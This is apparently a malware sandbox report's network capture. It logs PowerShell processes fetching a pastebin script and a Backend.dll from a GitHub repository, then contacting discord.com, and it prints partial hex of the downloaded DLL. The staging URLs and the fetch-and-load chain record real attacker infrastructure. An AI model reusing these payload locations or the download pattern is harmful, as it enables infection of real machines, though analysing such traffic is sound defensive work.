Oct 15, 2024 18:08:32.855525970 CEST	49807	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:32.860320091 CEST	80	49807	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:33.485234976 CEST	80	49807	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:33.487554073 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:33.487588882 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:33.487651110 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:33.490365028 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:33.490376949 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:33.528616905 CEST	49807	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.469789028 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.469887018 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.473529100 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.473539114 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.473920107 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.479969978 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.527400970 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.632415056 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.632512093 CEST	443	49810	104.20.3.235	192.168.2.7
Oct 15, 2024 18:08:34.632654905 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.645668030 CEST	49810	443	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:34.678235054 CEST	49819	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:34.683291912 CEST	80	49819	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:34.683371067 CEST	49819	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:34.683706045 CEST	49819	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:34.688610077 CEST	80	49819	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.323663950 CEST	80	49819	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.323909044 CEST	49819	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.325493097 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.325531006 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.325583935 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.326540947 CEST	80	49819	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.326586962 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.326592922 CEST	49819	80	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.326602936 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.328748941 CEST	80	49819	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.952161074 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.952239037 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.971770048 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:35.971806049 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.972136974 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:35.975670099 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:36.023400068 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.100991964 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101166010 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101192951 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101203918 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:36.101227045 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101264954 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:36.101466894 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101686954 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.101722956 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:36.101728916 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.109708071 CEST	443	49821	185.199.109.133	192.168.2.7
Oct 15, 2024 18:08:36.109752893 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:36.143656969 CEST	49821	443	192.168.2.7	185.199.109.133
Oct 15, 2024 18:08:41.181811094 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.181843996 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.181906939 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.182625055 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.182641983 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.803901911 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.804004908 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.825423956 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.825459003 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.825798035 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.826600075 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.871397972 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:41.871454954 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:41.871470928 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:42.150629997 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:42.150702953 CEST	443	49852	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:42.151410103 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:42.160933018 CEST	49852	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:47.225375891 CEST	49759	80	192.168.2.7	104.20.3.235
Oct 15, 2024 18:08:48.525012970 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:48.525060892 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:48.525923967 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:48.526367903 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:48.526384115 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.144023895 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.144123077 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:49.145796061 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:49.145807028 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.146126986 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.147214890 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:49.187401056 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.188694000 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:49.188707113 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.372406006 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.372493029 CEST	443	49889	162.159.138.232	192.168.2.7
Oct 15, 2024 18:08:49.372545958 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:49.375399113 CEST	49889	443	192.168.2.7	162.159.138.232
Oct 15, 2024 18:08:54.422091007 CEST	49807	80	192.168.2.7	104.20.3.235

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 18:08:10.557008028 CEST	61116	53	192.168.2.7	1.1.1.1
Oct 15, 2024 18:08:10.564726114 CEST	53	61116	1.1.1.1	192.168.2.7
Oct 15, 2024 18:08:24.728959084 CEST	56258	53	192.168.2.7	1.1.1.1
Oct 15, 2024 18:08:24.735841990 CEST	53	56258	1.1.1.1	192.168.2.7
Oct 15, 2024 18:08:27.125284910 CEST	49805	53	192.168.2.7	1.1.1.1
Oct 15, 2024 18:08:27.132586002 CEST	53	49805	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 18:08:10.557008028 CEST	192.168.2.7	1.1.1.1	0x2172	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:24.728959084 CEST	192.168.2.7	1.1.1.1	0xa12d	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.125284910 CEST	192.168.2.7	1.1.1.1	0xad72	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 18:08:10.564726114 CEST	1.1.1.1	192.168.2.7	0x2172	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:10.564726114 CEST	1.1.1.1	192.168.2.7	0x2172	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:10.564726114 CEST	1.1.1.1	192.168.2.7	0x2172	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:10.564726114 CEST	1.1.1.1	192.168.2.7	0x2172	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:24.735841990 CEST	1.1.1.1	192.168.2.7	0xa12d	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:24.735841990 CEST	1.1.1.1	192.168.2.7	0xa12d	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:24.735841990 CEST	1.1.1.1	192.168.2.7	0xa12d	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.132586002 CEST	1.1.1.1	192.168.2.7	0xad72	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.132586002 CEST	1.1.1.1	192.168.2.7	0xad72	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.132586002 CEST	1.1.1.1	192.168.2.7	0xad72	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.132586002 CEST	1.1.1.1	192.168.2.7	0xad72	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Oct 15, 2024 18:08:27.132586002 CEST	1.1.1.1	192.168.2.7	0xad72	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

pastebin.com

discord.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49759	104.20.3.235	80	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 18:08:24.761657953 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 18:08:25.440244913 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 16:08:25 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 17:08:25 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d3111568ba8469c-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49770	185.199.109.133	80	7548	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 18:08:26.352574110 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 18:08:26.974811077 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:26 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120083-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729008507.917101,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 16:13:26 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49807	104.20.3.235	80	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 18:08:32.855525970 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 18:08:33.485234976 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 16:08:33 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 17:08:33 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d311188eb4feb12-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49819	185.199.109.133	80	7912	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 18:08:34.683706045 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 18:08:35.323663950 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:35 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210062-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729008515.266683,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 16:13:35 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	185.199.109.133	443	6648	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 16:08:11 UTC	224	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/Backend.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 16:08:11 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 31744 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "bd4b192ae5469f45e129df181fc4929ee39a6dc957f48659a8b8da2b1d018ac5" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: E1F8:380602:8F2763:9CE16C:670E936A Accept-Ranges: bytes Date: Tue, 15 Oct 2024 16:08:11 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120069-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729008491.300035,VS0,VE98 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6369e3097a95d2354756dfb7b56d12a52f6279de Expires: Tue, 15 Oct 2024 16:13:11 GMT Source-Age: 0
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5a c7 bb 58 1e a6 d5 0b 1e a6 d5 0b 1e a6 d5 0b 17 de 46 0b 18 a6 d5 0b 4c d3 d0 0a 0e a6 d5 0b 4c d3 d1 0a 16 a6 d5 0b 4c d3 d6 0a 1d a6 d5 0b 4c d3 d4 0a 18 a6 d5 0b cd d4 d4 0a 1b a6 d5 0b 1e a6 d4 0b 59 a6 d5 0b ab d3 dc 0a 0e a6 d5 0b ab d3 d5 0a 1f a6 d5 0b ab d3 2a 0b 1f a6 d5 0b ab d3 d7 0a 1f a6 d5 0b 52 69 63 68 1e a6 d5 0b 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ZXFLLLLY*RichPEd
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 08 ff 15 c7 4e 00 00 48 8b 05 d0 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 50 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 98 4e 00 00 48 8b 05 a1 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 81 c2 d0 00 00 00 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 66 4e 00 00 48 8b 05 6f 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 18 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 37 4e 00 00 48 8b 05 40 6e 00 00 4c 8d 45 30 48 8b 55 30 41 b9 08 00 00 00 48 83 c2 50 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 08 4e 00 00 48 8b 7d 30 85 db 74 31 48 8b 05 09 6e 00 00 48 8d 97 a8 00 00 00 89 5d 30 4c 8d 45 30 41 b9 04 00 00 00 48 8b 08 48 8d 45 38 48 89 44 24 20 48 8b 49 08 ff 15 af 4d 00 00 Data Ascii: NHnLE0HU0AHPHHE8HD$ HINHnLE0HU0AHHHE8HD$ HIfNHonLE0HU0AHHHE8HD$ HI7NH@nLE0HU0AHPHHE8HD$ HINH}0t1HnH]0LE0AHHE8HD$ HIM
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 2f 49 8b c8 e8 32 32 00 00 48 8b 0b ba 10 00 00 00 48 89 33 48 89 73 10 48 89 73 08 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f e9 0b 32 00 00 ff 15 f5 4a 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 57 48 83 ec 20 48 8b 69 18 49 8b f0 4c 8b fa 48 8b d9 4c 3b c5 77 21 48 8b f9 48 83 fd 10 72 03 48 8b 39 48 89 71 10 48 8b cf e8 57 3d 00 00 c6 04 37 00 e9 ef 00 00 00 48 bf ff ff ff ff ff ff ff 7f 48 3b f7 0f 87 f9 00 00 00 48 8b ce 4c 89 74 24 40 48 83 c9 0f 48 3b cf 77 3a 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 29 48 8d 04 2a 48 8b f9 48 3b c8 48 0f 42 f8 48 8d 47 01 48 3d 00 10 00 00 72 35 48 8d 48 27 48 3b c8 0f 86 b6 00 00 00 eb 0a Data Ascii: rLAH'I+HAHw/I22HH3HsHsH\$0Ht$8H _2JH\$Hl$VWAWH HiILHL;w!HHrH9HqHW=7HH;HLt$@HH;w:HHHH+H;w)H*HH;HBHGH=r5HH'H;
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: ee 2c 00 00 90 41 b9 00 40 00 00 4d 8b 47 10 49 8b 57 08 49 8b 0f ff 15 be 43 00 00 ba 18 00 00 00 49 8b cf e8 c9 2c 00 00 90 4d 85 ed 74 36 4d 2b e5 49 8b c5 49 81 fc 00 10 00 00 72 1c 49 83 c4 27 4d 8b 6d f8 49 2b c5 48 83 c0 f8 48 83 f8 1f 76 07 ff 15 89 45 00 00 cc 49 8b d4 49 8b cd e8 8d 2c 00 00 48 8b 4d 27 48 33 cc e8 d9 28 00 00 4c 8d 9c 24 d0 00 00 00 49 8b 5b 30 49 8b 73 40 49 8b 7b 48 49 8b e3 41 5f 41 5e 41 5d 41 5c 5d c3 e8 93 22 00 00 90 cc cc 40 53 48 83 ec 20 48 8b d9 48 8b 09 48 85 c9 74 3a 48 8b 53 10 48 2b d1 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 1b 49 8b c8 e8 1a 2c 00 00 33 c0 48 89 03 48 89 43 08 48 89 43 10 48 83 c4 20 5b c3 ff 15 f1 44 00 00 cc cc cc cc cc cc cc cc cc 48 8b 15 c1 6b Data Ascii: ,A@MGIWICI,Mt6M+IIrI'MmI+HHvEII,HM'H3(L$I[0Is@I{HIA_A^A]A\]"@SH HHHt:HSH+HrLAH'I+HAHwI,3HHCHCH [DHk
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 8b c7 f0 0f c1 43 0c 83 f8 01 75 09 48 8b 03 48 8b cb ff 50 08 48 8b 05 a4 5e 00 00 48 85 c0 74 04 f0 ff 40 08 48 8b 05 8c 5e 00 00 48 89 05 55 67 00 00 48 8b 05 86 5e 00 00 48 8b 1d 4f 67 00 00 48 89 05 48 67 00 00 48 85 db 74 27 8b c7 f0 0f c1 43 08 83 f8 01 75 1b 48 8b 03 48 8b cb ff 10 f0 0f c1 7b 0c 83 ff 01 75 09 48 8b 03 48 8b cb ff 50 08 b0 01 eb 02 32 c0 48 8b 8c 24 80 01 00 00 48 33 cc e8 5e 23 00 00 4c 8d 9c 24 90 01 00 00 49 8b 5b 10 49 8b 73 18 49 8b e3 5f c3 cc cc cc cc cc cc cc cc cc 48 89 5c 24 18 55 56 57 41 56 41 57 48 81 ec 90 01 00 00 48 8b 05 c6 5d 00 00 48 33 c4 48 89 84 24 80 01 00 00 4c 8b f2 48 8b e9 48 8b 05 d6 5d 00 00 8b 30 33 d2 8d 4a 02 ff 15 f1 3d 00 00 48 8b d8 45 33 ff 48 c7 c7 ff ff ff ff 48 3b c7 0f 84 76 01 00 00 c7 44 Data Ascii: CuHHPH^Ht@H^HUgH^HOgHHgHt'CuHH{uHHP2H$H3^#L$I[IsI_H\$UVWAVAWHH]H3H$LHH]03J=HE3HH;vD
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 8b 01 48 8d 54 24 40 48 3b ca 0f 95 c2 ff 50 20 48 8b 8c 24 80 00 00 00 48 33 cc e8 66 1e 00 00 48 8b 9c 24 a0 00 00 00 48 81 c4 90 00 00 00 5f c3 cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 48 8d 6c 24 a9 48 81 ec d0 00 00 00 48 8b 05 cd 58 00 00 48 33 c4 48 89 45 47 48 8d 05 cf 3c 00 00 48 89 45 e7 c7 45 ef 47 01 86 01 c7 45 f3 53 01 2b 01 c7 45 f7 1f 01 47 01 c7 45 fb 86 01 73 01 c7 45 ff 2b 01 17 01 c7 45 03 5a 01 47 01 c7 45 07 82 01 63 01 c7 45 0b 2b 01 a6 01 c7 45 0f 47 01 8e 01 c7 45 13 e3 01 bf 01 c7 45 17 0f 01 0f 01 c7 45 1b 0f 01 3c 01 c7 45 1f d4 01 86 01 c7 45 23 52 01 68 01 c7 45 27 47 01 84 01 c7 45 2b 76 01 57 01 48 8b 1d 74 58 00 00 48 8d 55 b7 48 8d 4d e7 e8 47 08 00 00 90 48 8b 45 b7 48 8b 55 bf 48 3b c2 74 12 80 78 Data Ascii: HT$@H;P H$H3fH$H_H\$Ht$H\|$UHl$HHXH3HEGH<HEEGES+EGEsE+EZGEcE+EGEEE<EE#RhE'GE+vWHtXHUHMGHEHUH;tx
2024-10-15 16:08:11 UTC	1378	IN	Data Raw: 04 41 ff d0 90 48 8b 45 b7 48 8b 55 bf 48 3b c2 74 14 66 90 80 78 01 00 74 03 80 30 0f 48 83 c0 02 48 3b c2 75 ee 4c 8d 45 b7 48 8d 55 cf 48 8b cb e8 4e 11 00 00 90 48 8b 4d b7 48 85 c9 74 3b 48 8b 45 c7 48 2b c1 48 d1 f8 48 8d 14 00 48 8b c1 48 81 fa 00 10 00 00 72 1c 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 76 07 ff 15 47 35 00 00 cc e8 51 1c 00 00 48 8b 5d cf 48 8d 7b 08 48 8b 05 6a 53 00 00 48 8b 08 48 8d 45 d7 48 89 44 24 20 41 b9 04 00 00 00 4c 8d 45 cf 48 8b d7 48 8b 49 08 ff 15 37 33 00 00 48 63 4d cf 48 83 c1 04 48 03 cf 48 89 0d fd 5b 00 00 48 83 c3 57 48 89 1d 2a 5c 00 00 48 8d 86 80 64 00 00 48 89 45 e7 c7 45 ef 00 01 8a 01 c7 45 f3 c3 01 0f 01 c7 45 f7 0f 01 0f 01 c7 45 fb 47 01 84 01 48 c7 45 ff 32 01 00 00 c7 45 07 00 00 47 Data Ascii: AHEHUH;tfxt0HH;uLEHUHNHMHt;HEH+HHHHrH'HIH+HHvG5QH]H{HjSHHEHD$ ALEHHI73HcMHHH[HWH*\HdHEEEEEGHE2EG
